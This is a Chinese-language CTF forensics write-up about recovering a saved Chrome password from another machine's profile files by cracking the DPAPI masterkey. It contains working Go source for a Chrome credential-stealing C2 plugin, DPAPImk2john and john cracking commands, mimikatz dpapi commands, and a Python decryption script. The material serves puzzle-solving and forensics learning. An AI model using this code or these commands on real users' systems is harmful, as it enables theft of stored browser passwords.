打一个不太好说名字的比赛的决赛的时候遇到一道流量题,导出文件有一个secret.zip,里面是一些chrome的配置文件:
然后还给了一个flag.zip,有密码,从Login Data里可以看到用户有一条登录信息,账号是pass,密码是加密过的,很明显flag.zip的解压密码就是这个用户的密码,我们需要把它还原出来。
事实上在大一写C2的时候我写的抓密码插件就是来抓chrome密码的:
package main
import (
"bufio"
"crypto/aes"
"crypto/cipher"
"database/sql"
"encoding/base64"
"fmt"
"io/ioutil"
"log"
"os"
"syscall"
"unsafe"
"github.com/tidwall/gjson"
_ "github.com/mattn/go-sqlite3"
)
const (
queryChromiumLogin = `SELECT origin_url, username_value, password_value FROM logins`
)
type DATA_BLOB struct {
cbData uint32
pbData *byte
}
func NewBlob(d []byte) *DATA_BLOB {
if len(d) == 0 {
return &DATA_BLOB{}
}
return &DATA_BLOB{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
func (b *DATA_BLOB) ToByteArray() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}
func WinDecypt(data []byte) ([]byte, error) {
dllcrypt32 := syscall.NewLazyDLL("Crypt32.dll")
fmt.Println("dllcrypt32:", dllcrypt32)
dllkernel32 := syscall.NewLazyDLL("Kernel32.dll")
fmt.Println("dllkernel32:", dllkernel32)
procDecryptData := dllcrypt32.NewProc("CryptUnprotectData")
fmt.Println("procDecryptData:", procDecryptData)
procLocalFree := dllkernel32.NewProc("LocalFree")
fmt.Println("procLocalFree:", procLocalFree)
var outblob DATA_BLOB
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil
}
func AesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode, _ := cipher.NewGCM(block)
origData, err := blockMode.Open(nil, nounce, crypted, nil)
if err != nil {
return nil, err
}
return origData, nil
}
func GetMaster(key_file string) ([]byte, error) {
res, _ := ioutil.ReadFile(key_file)
master_key, err := base64.StdEncoding.DecodeString(gjson.Get(string(res), "os_crypt.encrypted_key").String())
if err != nil {
return []byte{}, err
}
// remove string: DPAPI
master_key = master_key[5:]
// master_key =
master_key, err = WinDecypt(master_key)
if err != nil {
return []byte{}, err
}
fmt.Print(master_key)
return master_key, nil
}
func decrypt_password(pwd, master_key []byte) ([]byte, error) {
nounce := pwd[3:15]
payload := pwd[15:]
plain_pwd, err := AesGCMDecrypt(payload, master_key, nounce)
if err != nil {
return []byte{}, nil
}
return plain_pwd, nil
}
func main() {
output, _ := os.OpenFile("test.txt", os.O_RDWR|os.O_APPEND|os.O_CREATE, 0664)
defer output.Close()
writer := bufio.NewWriter(output)
file := os.Getenv("LOCALAPPDATA")
fmt.Println(os.Getenv("LOCALAPPDATA"))
file += "\\Google\\Chrome\\User Data\\Default\\"
file += "Login Data"
db, err := sql.Open("sqlite3", file)
if err != nil {
log.Fatal("1:", err)
}
defer db.Close()
rows, err := db.Query(queryChromiumLogin)
if err != nil {
log.Fatal("2:", err)
}
defer rows.Close()
key_file := os.Getenv("USERPROFILE") + "/AppData/Local/Google/Chrome/User Data/Local State"
for rows.Next() {
var origin_url, username, passwdEncrypt string
err = rows.Scan(&origin_url, &username, &passwdEncrypt)
if err != nil {
log.Fatal("3:", err)
}
password := []byte(passwdEncrypt)
master_key, _ := GetMaster(key_file)
var plaintext []byte
if master_key != nil {
plaintext, _ = decrypt_password(password, master_key)
fmt.Println(origin_url, username, string(plaintext))
writer.WriteString(origin_url + " | " + username + " | " + string(plaintext))
} else {
plaintext, _ = WinDecypt(password)
fmt.Println(origin_url, username, string(plaintext))
}
}
err = rows.Err()
if err != nil {
log.Fatal("4:", err)
}
writer.Flush()
}
本地能完美跑通并成功抓取密码,本质上Chrome是用了AES对密码进行了保护,但如果你以为用配置文件还原密码只需要简简单单替换一下路径就可以那就大错特错了。现在网上讲的大部分抓chrome都是讲的如何抓本机的chrome密码,而并不是光靠一个其他机器的chrome的配置文件就可以把密码还原出来,因为这涉及到一个问题,微软使用了DPAPI对数据进行保护:
Data Protection Application Programming Interface(数据保护API)
DPAPI是Windows系统级对数据进行加解密的一种接口无需自实现加解密代码微软已经提供了经过验证的高质量加解密算法提供了用户态的接口对密钥的推导存储数据加解密实现透明并提供较高的安全保证
DPAPI提供了两个用户态接口CryptProtectData
加密数据CryptUnprotectData
解密数据加密后的数据由应用程序负责安全存储应用无需解析加密后的数据格式。但是加密后的数据存储需要一定的机制因为该数据可以被其他任何进程用来解密当然CryptProtectData
也提供了用户输入额外数据来参与对用户数据进行加密的参数但依然无法放于暴力破解。
DAPI使用当前用户的密码来保护数据,只有登录凭据与加密数据的用户相匹配的用户才能解密数据,也因此抓本机密码比较简单,因为我们就是这个用户,所以能够比较容易通过DAPI,网上的文章应该也会提到如果你想抓本机其他用户的chrome密码必须管理员权限,就是这个原因,DAPI有一个用户匹配的过程。而我们现在没有密码,只有单纯的其他机器上chrome的配置文件该怎么解密呢,这就是本篇文章探讨的主题。
用户的主密钥用作解密 DPAPI blob 时的主密钥,受用户密码保护,并加密存储在文件 AppData\Roaming\Microsoft\Protect\<SID> 中,其中SID是用户,在windows下这个文件是默认隐藏的,在linux下我们可以看到SID目录下还有一个东西,这个其实就是masterkey
首先我们可以使用DPAPImk2john.py提取用户的哈希值
python3 DPAPImk2john.py --sid="S-1-5-21-440314382-4097440215-1133304494-1002" --masterkey="4b730283-9406-461f-ac8d-689738b97400" --context="local" > hash.txt
然后我们可以使用john爆破密码
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
得到密码是breakers,有了这个密码我们就以通过DAPI校验了
做法一·手动还原
接着先对Local State进行一次解码,获得能被正常识别的dec_data
import json
import base64
fh = open('AppData/Local/Google/Chrome/User Data/Local State', 'rb')
encrypted_key = json.load(fh)
encrypted_key = encrypted_key['os_crypt']['encrypted_key']
decrypted_key = base64.b64decode(encrypted_key)
open("dec_data",'wb').write(decrypted_key[5:])
然后使用mimikatz解密主密钥
dpapi::masterkey /in:4b730283-9406-461f-ac8d-689738b97400 /sid:S-1-5-21-440314382-4097440215-1133304494-1002 /password:breakers /protected
获得了key,接着用key解密DPAPI blob获得AES私钥并保存到aes.dec
dpapi::blob /masterkey:93fde93933480b9125aa4817730ad96ad5851e5d0b5c11cc70aab4e8b55ca0f426a366e5de5cc8237ec1a5f73b0d5df8c5b11a2c8409df92e2b3d34a9914781d /in:"dec_data" /out:aes.dec
然后我们就可以用AES私钥成功还原密码
import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import csv
def get_secret_key():
secret_key = open('aes.dec', 'rb').read()
return secret_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(ciphertext, secret_key):
try:
initialisation_vector = ciphertext[3:15]
encrypted_password = ciphertext[15:-16]
cipher = generate_cipher(secret_key, initialisation_vector)
print(secret_key)
decrypted_pass = decrypt_payload(cipher, encrypted_password)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except Exception as e:
print("%s"%str(e))
print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
return ""
def get_db_connection(chrome_path_login_db):
try:
return sqlite3.connect(chrome_path_login_db)
except Exception as e:
print("%s"%str(e))
print("[ERR] Chrome database cannot be found")
return None
if __name__ == '__main__':
secret_key = get_secret_key()
chrome_path_login_db = r"Login Data"
conn = get_db_connection(chrome_path_login_db)
if(secret_key and conn):
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for index,login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
decrypted_password = decrypt_password(ciphertext, secret_key)
print("Sequence: %d"%(index))
print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
print("*"*50)
cursor.close()
conn.close()
981f4821-2cc4-459e-8528-4b2c111a7b52
做法二·工具一把梭
前面的过程其实很明显是比较机械化的,肯定有什么工具能一站式把密码解出来,这里推荐工具chromepass
使用chromepass能导出其他用户的密码,但文件的格式有讲究,必须是windows的原生路径,我这里是:
C:\Users\user\Desktop\test\AppData\Local\Google\Chrome\User Data\Default
C:\Users\user\Desktop\test\AppData\Roaming\Microsoft\Protect\
然后点开chromepass,点击左上角的file,再点击Advanced Options ,profile path选我们创的C:\Users\user\Desktop\test,密码选择爆出来的breakers,再选择Local State的路径
点击ok,可以看到密码已经成功解出
最终大功告成,用这个密码成功解开flag.zip
解出来是
12yHhv2rrFKkv7OoeMWd5mJ1UMgCqERIAQ8G0jjwnNiSKw1UBMXr7yfs9JEQlVicfm2belD6sdz7
base62->base64->rot13
题目链接:
https://fushuling-1309926051.cos.ap-shanghai.myqcloud.com/download.zip
参考:
https://zhuanlan.zhihu.com/p/33388981
https://www.hackthebox.com/blog/seized-ca-ctf-2022-forensics-writeup#challenge